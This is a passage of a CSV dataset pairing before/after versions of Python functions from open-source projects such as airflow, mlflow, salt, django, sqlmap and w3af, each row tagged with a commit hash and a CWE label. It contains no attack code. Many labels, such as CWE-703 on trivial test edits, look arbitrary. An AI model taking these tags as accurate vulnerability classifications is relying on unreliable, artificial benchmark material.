        contents = get_config(module)
        config = NetworkConfig(indent=1, contents=contents)
        if module.params['backup']:
            result['__backup__'] = contents

    if any((module.params['lines'], module.params['src'])):
        match = module.params['match']
        replace = module.params['replace']
        path = module.params['parents']

        candidate, want_banners = get_candidate(module)

        if match != 'none':
            config, have_banners = get_running_config(module, config)
            path = module.params['parents']
            configobjs = candidate.difference(config, path=path, match=match, replace=replace)
        else:
            configobjs = candidate.items
            have_banners = {}

        banners = diff_banners(want_banners, have_banners)

        if configobjs or banners:
            commands = dumps(configobjs, 'commands').split('\n')

            if module.params['before']:
                commands[:0] = module.params['before']

            if module.params['after']:
                commands.extend(module.params['after'])

            result['commands'] = commands
            result['updates'] = commands
            result['banners'] = banners

            # send the configuration commands to the device and merge
            # them with the current running config
            if not module.check_mode:
                if commands:
                    load_config(module, commands)
                if banners:
                    load_banners(module, banners)

            result['changed'] = True

    running_config = None
    startup_config = None

    diff_ignore_lines = module.params['diff_ignore_lines']

    if module.params['save_when'] != 'never':
        output = run_commands(module, ['show running-config', 'show startup-config'])

        running_config = NetworkConfig(indent=1, contents=output[0], ignore_lines=diff_ignore_lines)
        startup_config = NetworkConfig(indent=1, contents=output[1], ignore_lines=diff_ignore_lines)

        if running_config.sha1 != startup_config.sha1 or module.params['save_when'] == 'always':
            result['changed'] = True
            if not module.check_mode:
                run_commands(module, 'copy running-config startup-config')
            else:
                module.warn('Skipping command `copy running-config startup-config` '
                            'due to check_mode.  Configuration not copied to '
                            'non-volatile storage')

    if module._diff:
        if not running_config:
            output = run_commands(module, 'show running-config')
            contents = output[0]
        else:
            contents = running_config.config_text

        # recreate the object in order to process diff_ignore_lines
        running_config = NetworkConfig(indent=1, contents=contents, ignore_lines=diff_ignore_lines)

        if module.params['diff_against'] == 'running':
            if module.check_mode:
                module.warn(""unable to perform diff against running-config due to check mode"")
                contents = None
            else:
                contents = config.config_text

        elif module.params['diff_against'] == 'startup':
            if not startup_config:
                output = run_commands(module, 'show startup-config')
                contents = output[0]
            else:
                contents = startup_config.config_text

        elif module.params['diff_against'] == 'intended':
            contents = module.params['intended_config']

        if contents is not None:
            base_config = NetworkConfig(indent=1, contents=contents, ignore_lines=diff_ignore_lines)

            if running_config.sha1 != base_config.sha1:
                result.update({
                    'changed': True,
                    'diff': {'before': str(base_config), 'after': str(running_config)}
                })

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/test_hostkeys.py,1,"def test_delitem(self):
        hostdict = paramiko.HostKeys(""hostfile.temp"")
        target = ""happy.example.com""
        hostdict[target]  # will KeyError if not present
        del hostdict[target]
        try:
            hostdict[target]
        except KeyError:
            pass  # Good
        else:
            assert False, ""Entry was not deleted from HostKeys on delitem!""",CWE-703,paramiko/paramiko,37cda1dd85430910c7867430d04ec6ac846823b2,"def test_delitem(self):
        hostdict = paramiko.HostKeys(""hostfile.temp"")
        target = ""happy.example.com""
        hostdict[target]  # will KeyError if not present
        del hostdict[target]
        try:
            hostdict[target]
        except KeyError:
            pass  # Good
        else:
            assert False, ""Entry was not deleted from HostKeys on delitem!"""
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,src/requests/exceptions.py,0,"def __init__(self, *args, **kwargs):
        """"""
        Construct the JSONDecodeError instance first with all
        args. Then use it's args to construct the IOError so that
        the json specific args aren't used as IOError specific args
        and the error message from JSONDecodeError is preserved.
        """"""
        CompatJSONDecodeError.__init__(self, *args)
        InvalidJSONError.__init__(self, *self.args, **kwargs)",,psf/requests,06d2a384418ed86effa2d804d32d4705b91c37eb,"def __init__(self, *args, **kwargs):
        """"""
        Construct the JSONDecodeError instance first with all
        args. Then use it's args to construct the IOError so that
        the json specific args aren't used as IOError specific args
        and the error message from JSONDecodeError is preserved.
        """"""
        CompatJSONDecodeError.__init__(self, *args)
        InvalidJSONError.__init__(self, *self.args, **kwargs)"
,UNKNOWN,UNKNOWN,tests/utils/test_databricks_utils.py,1,"def test_get_workspace_info_from_dbutils():
    mock_dbutils = mock.MagicMock()
    mock_dbutils.notebook.entry_point.getDbutils.return_value.notebook.return_value.getContext.return_value.toJson.return_value = (  # noqa
        '{""tags"": {""orgId"" : ""1111"", ""browserHostName"": ""mlflow.databricks.com""}}'
    )
    with mock.patch(""mlflow.utils.databricks_utils._get_dbutils"", return_value=mock_dbutils):
        workspace_host, workspace_id = get_workspace_info_from_dbutils()
        assert workspace_host == ""https://mlflow.databricks.com""
        assert workspace_id == ""1111""",CWE-703,mlflow/mlflow,8e6f8e363441d7f3e0d26b5127a29611d40aa9b4,"def test_get_workspace_info_from_dbutils():
    mock_dbutils = mock.MagicMock()
    mock_dbutils.notebook.entry_point.getDbutils.return_value.notebook.return_value.getContext.return_value.toJson.return_value = (  # noqa
        '{""extraContext"":'
        '{""api_url"": ""https://mlflow.databricks.com""},'
        '""tags"": {""orgId"" : ""1111""}}'
    )
    with mock.patch(""mlflow.utils.databricks_utils._get_dbutils"", return_value=mock_dbutils):
        workspace_host, workspace_id = get_workspace_info_from_dbutils()
        assert workspace_host == ""https://mlflow.databricks.com""
        assert workspace_id == ""1111"""
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/oracleDiscovery.py,0,"def discover(self, fuzzableRequest ):
        '''
        GET some files and parse them.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                    (among other things) the URL to test.
        '''
        dirs = []
        if not self._exec :
            # This will remove the plugin from the discovery plugins to be run.
            raise w3afRunOnce()
            
        else:
            # Only run once
            self._exec = False
            
            base_url = fuzzableRequest.getURL().baseUrl()
            
            for url, regex_string in self.getOracleData():

                oracle_discovery_URL = base_url.urlJoin( url )
                response = self._uri_opener.GET( oracle_discovery_URL, cache=True )
                
                if not is_404( response ):
                    dirs.extend( self._createFuzzableRequests( response ) )
                    if re.match( regex_string , response.getBody(), re.DOTALL):
                        i = info.info()
                        i.setPluginName(self.getName())
                        i.setName('Oracle application')
                        i.setURL( response.getURL() )
                        i.setDesc( self._parse( url, response ) )
                        i.setId( response.id )
                        kb.kb.append( self, 'info', i )
                        om.out.information( i.getDesc() )
                    else:
                        msg = 'oracleDiscovery found the URL: ' + response.getURL()
                        msg += ' but failed to parse it. The content of the URL is: ""'
                        msg += response.getBody() + '"".'
                        om.out.debug( msg )
        
        return dirs",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def discover(self, fuzzableRequest ):
        '''
        GET some files and parse them.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                    (among other things) the URL to test.
        '''
        dirs = []
        if not self._exec :
            # This will remove the plugin from the discovery plugins to be run.
            raise w3afRunOnce()
            
        else:
            # Only run once
            self._exec = False
            
            base_url = fuzzableRequest.getURL().baseUrl()
            
            for url, regex_string in self.getOracleData():

                oracle_discovery_URL = base_url.urlJoin( url )
                response = self._urlOpener.GET( oracle_discovery_URL, useCache=True )
                
                if not is_404( response ):
                    dirs.extend( self._createFuzzableRequests( response ) )
                    if re.match( regex_string , response.getBody(), re.DOTALL):
                        i = info.info()
                        i.setPluginName(self.getName())
                        i.setName('Oracle application')
                        i.setURL( response.getURL() )
                        i.setDesc( self._parse( url, response ) )
                        i.setId( response.id )
                        kb.kb.append( self, 'info', i )
                        om.out.information( i.getDesc() )
                    else:
                        msg = 'oracleDiscovery found the URL: ' + response.getURL()
                        msg += ' but failed to parse it. The content of the URL is: ""'
                        msg += response.getBody() + '"".'
                        om.out.debug( msg )
        
        return dirs"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/transfers/test_redshift_to_s3.py,1,"def test_custom_select_query_unloading(
        self,
        mock_run,
        mock_session,
        mock_connection,
        mock_hook,
        table,
        table_as_file_name,
        expected_s3_key,
    ):
        access_key = ""aws_access_key_id""
        secret_key = ""aws_secret_access_key""
        mock_session.return_value = Session(access_key, secret_key)
        mock_session.return_value.access_key = access_key
        mock_session.return_value.secret_key = secret_key
        mock_session.return_value.token = None
        mock_connection.return_value = Connection()
        mock_hook.return_value = Connection()
        s3_bucket = ""bucket""
        s3_key = ""key""
        unload_options = [
            ""HEADER"",
        ]
        select_query = ""select column from table""

        op = RedshiftToS3Operator(
            select_query=select_query,
            table=table,
            table_as_file_name=table_as_file_name,
            s3_bucket=s3_bucket,
            s3_key=s3_key,
            unload_options=unload_options,
            include_header=True,
            redshift_conn_id=""redshift_conn_id"",
            aws_conn_id=""aws_conn_id"",
            task_id=""task_id"",
            dag=None,
        )

        op.execute(None)

        unload_options = ""\n\t\t\t"".join(unload_options)
        credentials_block = build_credentials_block(mock_session.return_value)

        unload_query = op._build_unload_query(
            credentials_block, select_query, expected_s3_key, unload_options
        )

        assert mock_run.call_count == 1
        assert access_key in unload_query
        assert secret_key in unload_query
        assert_equal_ignore_multiple_spaces(mock_run.call_args.args[0], unload_query)",CWE-703,apache/airflow,04a781666be2955ed518780ea03bc13a1e3bd473,"def test_custom_select_query_unloading(
        self,
        mock_run,
        mock_session,
        mock_connection,
        mock_hook,
        table,
        table_as_file_name,
        expected_s3_key,
    ):
        access_key = ""aws_access_key_id""
        secret_key = ""aws_secret_access_key""
        mock_session.return_value = Session(access_key, secret_key)
        mock_session.return_value.access_key = access_key
        mock_session.return_value.secret_key = secret_key
        mock_session.return_value.token = None
        mock_connection.return_value = Connection()
        mock_hook.return_value = Connection()
        s3_bucket = ""bucket""
        s3_key = ""key""
        unload_options = [
            ""HEADER"",
        ]
        select_query = ""select column from table""

        op = RedshiftToS3Operator(
            select_query=select_query,
            table=table,
            table_as_file_name=table_as_file_name,
            s3_bucket=s3_bucket,
            s3_key=s3_key,
            unload_options=unload_options,
            include_header=True,
            redshift_conn_id=""redshift_conn_id"",
            aws_conn_id=""aws_conn_id"",
            task_id=""task_id"",
            dag=None,
        )

        op.execute(None)

        unload_options = ""\n\t\t\t"".join(unload_options)
        credentials_block = build_credentials_block(mock_session.return_value)

        unload_query = op._build_unload_query(
            credentials_block, select_query, expected_s3_key, unload_options
        )

        assert mock_run.call_count == 1
        assert access_key in unload_query
        assert secret_key in unload_query
        assert_equal_ignore_multiple_spaces(mock_run.call_args.args[0], unload_query)"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc, from_str=False, to_str=False,
                    context=None, tmplpath=None, **kws):
        if context is None:
            context = {}
        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'env' in context

        if isinstance(tmplsrc, basestring):
            if from_str:
                tmplstr = tmplsrc
            else:
                with codecs.open(tmplsrc, 'r', SLS_ENCODING) as tmplsrc:
                    tmplstr = tmplsrc.read()
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltTemplateRenderError as exc:
            return dict(result=False, data=str(exc))
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,0eafb1a70dbe684a8e16cc08d562cfc7334c5f40,"def render_tmpl(tmplsrc, from_str=False, to_str=False,
                    context=None, tmplpath=None, **kws):
        if context is None:
            context = {}
        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'env' in context

        if isinstance(tmplsrc, basestring):
            if from_str:
                tmplstr = tmplsrc
            else:
                with codecs.open(tmplsrc, 'r', SLS_ENCODING) as tmplsrc:
                    tmplstr = tmplsrc.read()
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
        except SaltTemplateRenderError as exc:
            return dict(result=False, data=str(exc))
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)"
,UNKNOWN,UNKNOWN,tests/utils/test_email.py,1,"def test_build_mime_message(self):
        mail_from = ""from@example.com""
        mail_to = ""to@example.com""
        subject = ""test subject""
        html_content = ""<html>Test</html>""
        custom_headers = {""Reply-To"": ""reply_to@example.com""}

        msg, recipients = email.build_mime_message(
            mail_from=mail_from,
            to=mail_to,
            subject=subject,
            html_content=html_content,
            custom_headers=custom_headers,
        )

        assert ""From"" in msg
        assert ""To"" in msg
        assert ""Subject"" in msg
        assert ""Reply-To"" in msg
        assert [mail_to] == recipients
        assert msg[""To""] == "","".join(recipients)",CWE-703,apache/airflow,4358511fce2eab6d3f97edb1c95d09f4f5a49376,"def test_build_mime_message(self):
        mail_from = ""from@example.com""
        mail_to = ""to@example.com""
        subject = ""test subject""
        html_content = ""<html>Test</html>""
        custom_headers = {""Reply-To"": ""reply_to@example.com""}

        msg, recipients = email.build_mime_message(
            mail_from=mail_from,
            to=mail_to,
            subject=subject,
            html_content=html_content,
            custom_headers=custom_headers,
        )

        assert ""From"" in msg
        assert ""To"" in msg
        assert ""Subject"" in msg
        assert ""Reply-To"" in msg
        assert [mail_to] == recipients
        assert msg[""To""] == "","".join(recipients)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/modules/config.py,0,"def test_option(self):
        '''
        test config.option
        '''
        # Minion opt
        self.assertEqual(
                self.run_function(
                    'config.option',
                    ['master_port']),
                64506)
        # pillar conf opt
        self.assertEqual(
                self.run_function(
                    'config.option',
                    ['ext_spam']),
                'eggs')",,saltstack/salt,3555d05bf0bc13d295aa05c2c95218ba2d8effdf,"def test_option(self):
        '''
        test config.option
        '''
        # Minion opt
        self.assertEqual(
                self.run_function(
                    'config.option',
                    ['master_port']),
                64506)
        # Master conf opt
        self.assertEqual(
                self.run_function(
                    'config.option',
                    ['syndic_master']),
                'localhost')
        # pillar conf opt
        self.assertEqual(
                self.run_function(
                    'config.option',
                    ['ext_spam']),
                'eggs')"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def render_text(self, outfd, data):
        for task in data:
            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))
            levels = {}
            for vad in task.VadRoot.traverse():
                if vad:
                    level = levels.get(vad.Parent.obj_offset, -1) + 1
                    levels[vad.obj_offset] = level
                    outfd.write("" "" * level + ""{0:08x} - {1:08x}\n"".format(
                                vad.Start,
                                vad.End))",,volatilityfoundation/volatility,eed7207f5ac251db1bcc701f2740b2c633600724,"def render_text(self, outfd, data):
        for task in data:
            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))
            levels = {}
            for vad in task.VadRoot.traverse():
                if vad:
                    level = levels.get(vad.Parent.dereference().obj_offset, -1) + 1
                    levels[vad.obj_offset] = level
                    outfd.write("" "" * level + ""{0:08x} - {1:08x}\n"".format(
                                vad.Start,
                                vad.End))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/parse/queriesfile.py,0,"def queriesParser():
    """"""
    This function calls a class to parse the default DBMS queries
    from an XML file
    """"""

    debugMsg = ""parsing XML queries file""
    logger.debug(debugMsg)

    xmlfile = paths.QUERIES_XML

    checkFile(xmlfile)
    handler = queriesHandler()
    parse(open(xmlfile), handler)",,sqlmapproject/sqlmap,bece99908c6f6083bd7ffb5a0e37973aba5f4830,"def queriesParser():
    """"""
    This function calls a class to parse the default DBMS queries
    from an XML file
    """"""

    debugMsg = ""parsing XML queries file""
    logger.debug(debugMsg)

    xmlfile = paths.QUERIES_XML

    checkFile(xmlfile)
    handler = queriesHandler()
    parse(xmlfile, handler)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/callback/default.py,0,"def v2_runner_on_failed(self, result, ignore_errors=False):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
                error = result._result['exception'].strip().split('\n')[-1]
                msg = ""An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s"" % error
            else:
                msg = ""An exception occurred during task execution. The full traceback is:\n"" + result._result['exception']

            self._display.display(msg, color=C.COLOR_ERROR)

            # finally, remove the exception from the result so it's not shown every time
            del result._result['exception']

        if result._task.loop and 'results' in result._result:
            self._process_items(result)

        else:
            if delegated_vars:
                self._display.display(""fatal: [%s -> %s]: FAILED! => %s"" % (result._host.get_name(), delegated_vars['ansible_host'], self._dump_results(result._result)), color=C.COLOR_ERROR)
            else:
                self._display.display(""fatal: [%s]: FAILED! => %s"" % (result._host.get_name(), self._dump_results(result._result)), color=C.COLOR_ERROR)

        if result._task.ignore_errors:
            self._display.display(""...ignoring"", color=C.COLOR_SKIP)",,ansible/ansible,e02b98274b60cdbc12ef4a4c74ae0f74207384e8,"def v2_runner_on_failed(self, result, ignore_errors=False):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
                error = result._result['exception'].strip().split('\n')[-1]
                msg = ""An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s"" % error
            else:
                msg = ""An exception occurred during task execution. The full traceback is:\n"" + result._result['exception']

            self._display.display(msg, color=C.COLOR_ERROR)

            # finally, remove the exception from the result so it's not shown every time
            del result._result['exception']

        if result._task.loop and 'results' in result._result:
            self._process_items(result)
        else:
            if delegated_vars:
                self._display.display(""fatal: [%s -> %s]: FAILED! => %s"" % (result._host.get_name(), delegated_vars['ansible_host'], self._dump_results(result._result)), color=C.COLOR_ERROR)
            else:
                self._display.display(""fatal: [%s]: FAILED! => %s"" % (result._host.get_name(), self._dump_results(result._result)), color=C.COLOR_ERROR)

        if result._task.ignore_errors:
            self._display.display(""...ignoring"", color=C.COLOR_SKIP)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def _clear_headers_for_304(self):
        # Tornado strips content-length from 304 responses, but here we
        # want to simulate servers that include the headers anyway.
        pass",CWE-Unknown,tornadoweb/tornado,3573f2a63681c2a576b53258f0765062739945e7,"def _clear_headers_for_304(self):
        # Tornado strips content-length from 304 responses, but here we
        # want to simulate servers that include the headers anyway.
        pass"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/context.py,1,"def _get_connection(conn_id: str) -> Connection:
    from airflow.sdk.execution_time.supervisor import ensure_secrets_backend_loaded

    # TODO: check cache first
    # enabled only if SecretCache.init() has been called first

    # iterate over configured backends if not in cache (or expired)
    backends = ensure_secrets_backend_loaded()
    for secrets_backend in backends:
        try:
            conn = secrets_backend.get_connection(conn_id=conn_id)
            if conn:
                return conn
        except Exception:
            log.exception(
                ""Unable to retrieve connection from secrets backend (%s). ""
                ""Checking subsequent secrets backend."",
                type(secrets_backend).__name__,
            )

    if backends:
        log.debug(
            ""Connection not found in any of the configured Secrets Backends. Trying to retrieve from API server"",
            conn_id=conn_id,
        )

    # TODO: This should probably be moved to a separate module like `airflow.sdk.execution_time.comms`
    #   or `airflow.sdk.execution_time.connection`
    #   A reason to not move it to `airflow.sdk.execution_time.comms` is that it
    #   will make that module depend on Task SDK, which is not ideal because we intend to
    #   keep Task SDK as a separate package than execution time mods.
    from airflow.sdk.execution_time.comms import ErrorResponse, GetConnection
    from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

    msg = SUPERVISOR_COMMS.send(GetConnection(conn_id=conn_id))

    if isinstance(msg, ErrorResponse):
        raise AirflowRuntimeError(msg)

    if TYPE_CHECKING:
        assert isinstance(msg, ConnectionResult)
    return _convert_connection_result_conn(msg)",CWE-703,apache/airflow,492518edfae38bfdb00fc0f088a3524e102ec8f1,"def _get_connection(conn_id: str) -> Connection:
    from airflow.sdk.execution_time.supervisor import ensure_secrets_backend_loaded

    # TODO: check cache first
    # enabled only if SecretCache.init() has been called first

    # iterate over configured backends if not in cache (or expired)
    backends = ensure_secrets_backend_loaded()
    for secrets_backend in backends:
        try:
            conn = secrets_backend.get_connection(conn_id=conn_id)
            if conn:
                return conn
        except Exception:
            log.exception(
                ""Unable to retrieve connection from secrets backend (%s). ""
                ""Checking subsequent secrets backend."",
                type(secrets_backend).__name__,
            )

    if backends:
        log.debug(
            ""Connection not found in any of the configured Secrets Backends. Trying to retrieve from API server"",
            conn_id=conn_id,
        )

    # TODO: This should probably be moved to a separate module like `airflow.sdk.execution_time.comms`
    #   or `airflow.sdk.execution_time.connection`
    #   A reason to not move it to `airflow.sdk.execution_time.comms` is that it
    #   will make that module depend on Task SDK, which is not ideal because we intend to
    #   keep Task SDK as a separate package than execution time mods.
    from airflow.sdk.execution_time.comms import ErrorResponse, GetConnection
    from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

    # Since Triggers can hit this code path via `sync_to_async` (which uses threads internally)
    # we need to make sure that we ""atomically"" send a request and get the response to that
    # back so that two triggers don't end up interleaving requests and create a possible
    # race condition where the wrong trigger reads the response.
    with SUPERVISOR_COMMS.lock:
        SUPERVISOR_COMMS.send_request(log=log, msg=GetConnection(conn_id=conn_id))
        msg = SUPERVISOR_COMMS.get_message()

    if isinstance(msg, ErrorResponse):
        raise AirflowRuntimeError(msg)

    if TYPE_CHECKING:
        assert isinstance(msg, ConnectionResult)
    return _convert_connection_result_conn(msg)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/xml.py,0,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints issues in XML format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)
    root = ET.Element(""testsuite"", name=""bandit"", tests=str(len(issues)))

    for issue in issues:
        test = issue.test
        testcase = ET.SubElement(
            root, ""testcase"", classname=issue.fname, name=test
        )

        text = (
            ""Test ID: %s Severity: %s CWE: %s Confidence: %s\n%s\n""
            ""Location %s:%s""
        )
        text = text % (
            issue.test_id,
            issue.severity,
            issue.cwe,
            issue.confidence,
            issue.text,
            issue.fname,
            issue.lineno,
        )
        ET.SubElement(
            testcase,
            ""error"",
            more_info=docs_utils.get_url(issue.test_id),
            type=issue.severity,
            message=issue.text,
        ).text = text

    tree = ET.ElementTree(root)

    if fileobj.name == sys.stdout.name:
        fileobj = sys.stdout.buffer
    elif fileobj.mode == ""w"":
        fileobj.close()
        fileobj = open(fileobj.name, ""wb"")

    with fileobj:
        tree.write(fileobj, encoding=""utf-8"", xml_declaration=True)

    if fileobj.name != sys.stdout.name:
        LOG.info(""XML output written to file: %s"", fileobj.name)",UNKNOWN,PyCQA/bandit,7d6ab4a3e503843df3da389ce32ab30832d71474,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints issues in XML format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)
    root = ET.Element(""testsuite"", name=""bandit"", tests=str(len(issues)))

    for issue in issues:
        test = issue.test
        testcase = ET.SubElement(
            root, ""testcase"", classname=issue.fname, name=test
        )

        text = ""Test ID: %s Severity: %s Confidence: %s\n%s\nLocation %s:%s""
        text = text % (
            issue.test_id,
            issue.severity,
            issue.confidence,
            issue.text,
            issue.fname,
            issue.lineno,
        )
        ET.SubElement(
            testcase,
            ""error"",
            more_info=docs_utils.get_url(issue.test_id),
            type=issue.severity,
            message=issue.text,
        ).text = text

    tree = ET.ElementTree(root)

    if fileobj.name == sys.stdout.name:
        fileobj = sys.stdout.buffer
    elif fileobj.mode == ""w"":
        fileobj.close()
        fileobj = open(fileobj.name, ""wb"")

    with fileobj:
        tree.write(fileobj, encoding=""utf-8"", xml_declaration=True)

    if fileobj.name != sys.stdout.name:
        LOG.info(""XML output written to file: %s"", fileobj.name)"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def html_safe(klass):
    """"""
    A decorator that defines the __html__ method. This helps non-Django
    templates to detect classes whose __str__ methods return SafeText.
    """"""
    if '__html__' in klass.__dict__:
        raise ValueError(
            ""can't apply @html_safe to %s because it defines ""
            ""__html__()."" % klass.__name__
        )
    if six.PY2:
        if '__unicode__' not in klass.__dict__:
            raise ValueError(
                ""can't apply @html_safe to %s because it doesn't ""
                ""define __unicode__()."" % klass.__name__
            )
        klass_unicode = klass.__unicode__
        klass.__unicode__ = lambda self: mark_safe(klass_unicode(self))
        klass.__html__ = lambda self: unicode(self)  # NOQA: unicode undefined on PY3
    else:
        if '__str__' not in klass.__dict__:
            raise ValueError(
                ""can't apply @html_safe to %s because it doesn't ""
                ""define __str__()."" % klass.__name__
            )
        klass_str = klass.__str__
        klass.__str__ = lambda self: mark_safe(klass_str(self))
        klass.__html__ = lambda self: str(self)
    return klass",CWE-79,django/django,062ce508b0edcb3a2e801d7959e08207bd8d2a1e,"def html_safe(klass):
    """"""
    A decorator that defines the __html__ method. This helps non-Django
    templates to detect classes whose __str__ methods return SafeText.
    """"""
    if '__html__' in klass.__dict__:
        raise ValueError(
            ""can't apply @html_safe to %s because it defines ""
            ""__html__()."" % klass.__name__
        )
    if six.PY2:
        if '__unicode__' not in klass.__dict__:
            raise ValueError(
                ""can't apply @html_safe to %s because it doesn't ""
                ""define __unicode__()."" % klass.__name__
            )
        klass_unicode = klass.__unicode__
        klass.__unicode__ = lambda self: mark_safe(klass_unicode(self))
        klass.__html__ = lambda self: unicode(self)
    else:
        if '__str__' not in klass.__dict__:
            raise ValueError(
                ""can't apply @html_safe to %s because it doesn't ""
                ""define __str__()."" % klass.__name__
            )
        klass_str = klass.__str__
        klass.__str__ = lambda self: mark_safe(klass_str(self))
        klass.__html__ = lambda self: str(self)
    return klass"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_run_schema.py,1,"def test_serialize(self, session):
        dagrun_model = DagRun(
            dag_id=""my-dag-run"",
            run_id=""my-dag-run"",
            state=""running"",
            run_type=DagRunType.MANUAL.value,
            execution_date=timezone.parse(self.default_time),
            start_date=timezone.parse(self.default_time),
            conf='{""start"": ""stop""}',
        )
        session.add(dagrun_model)
        session.commit()
        dagrun_model = session.query(DagRun).first()
        deserialized_dagrun = dagrun_schema.dump(dagrun_model)

        assert deserialized_dagrun == {
            ""dag_id"": ""my-dag-run"",
            ""dag_run_id"": ""my-dag-run"",
            ""end_date"": None,
            ""state"": ""running"",
            ""execution_date"": self.default_time,
            ""logical_date"": self.default_time,
            ""external_trigger"": True,
            ""start_date"": self.default_time,
            ""conf"": {""start"": ""stop""},
            ""data_interval_end"": None,
            ""data_interval_start"": None,
            ""last_scheduling_decision"": None,
            ""run_type"": ""manual"",
            ""note"": None,
        }",CWE-703,apache/airflow,3b032e5a6a9a2dda0fa98d8b4d54dba7d2b305be,"def test_serialize(self, session):
        dagrun_model = DagRun(
            dag_id=""my-dag-run"",
            run_id=""my-dag-run"",
            state=""running"",
            run_type=DagRunType.MANUAL.value,
            execution_date=timezone.parse(self.default_time),
            start_date=timezone.parse(self.default_time),
            conf='{""start"": ""stop""}',
        )
        session.add(dagrun_model)
        session.commit()
        dagrun_model = session.query(DagRun).first()
        deserialized_dagrun = dagrun_schema.dump(dagrun_model)

        assert deserialized_dagrun == {
            ""dag_id"": ""my-dag-run"",
            ""dag_run_id"": ""my-dag-run"",
            ""end_date"": None,
            ""state"": ""running"",
            ""execution_date"": self.default_time,
            ""logical_date"": self.default_time,
            ""external_trigger"": True,
            ""start_date"": self.default_time,
            ""conf"": {""start"": ""stop""},
            ""data_interval_end"": None,
            ""data_interval_start"": None,
            ""last_scheduling_decision"": None,
            ""run_type"": ""manual"",
            ""notes"": None,
        }"
,UNKNOWN,UNKNOWN,tests/fastai/test_fastai_autolog.py,1,"def test_fastai_autolog_early_stop_logs(fastai_random_data_run_with_callback, patience):
    model, run = fastai_random_data_run_with_callback
    params = run.data.params
    assert ""early_stop_patience"" in params
    assert params[""early_stop_patience""] == str(patience)
    assert ""early_stop_monitor"" in params
    assert params[""early_stop_monitor""] == ""valid_loss""
    assert ""early_stop_comp"" in params
    assert params[""early_stop_comp""] == ""less""
    assert ""early_stop_min_delta"" in params
    assert params[""early_stop_min_delta""] == f""-{MIN_DELTA}""

    client = MlflowClient()
    metric_history = client.get_metric_history(run.info.run_id, ""valid_loss"")
    num_of_epochs = len(model.recorder.values)

    assert len(metric_history) == num_of_epochs",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_fastai_autolog_early_stop_logs(fastai_random_data_run_with_callback, patience):
    model, run = fastai_random_data_run_with_callback
    params = run.data.params
    assert ""early_stop_patience"" in params
    assert params[""early_stop_patience""] == str(patience)
    assert ""early_stop_monitor"" in params
    assert params[""early_stop_monitor""] == ""valid_loss""
    assert ""early_stop_comp"" in params
    assert params[""early_stop_comp""] == ""less""
    assert ""early_stop_min_delta"" in params
    assert params[""early_stop_min_delta""] == ""-{}"".format(MIN_DELTA)

    client = MlflowClient()
    metric_history = client.get_metric_history(run.info.run_id, ""valid_loss"")
    num_of_epochs = len(model.recorder.values)

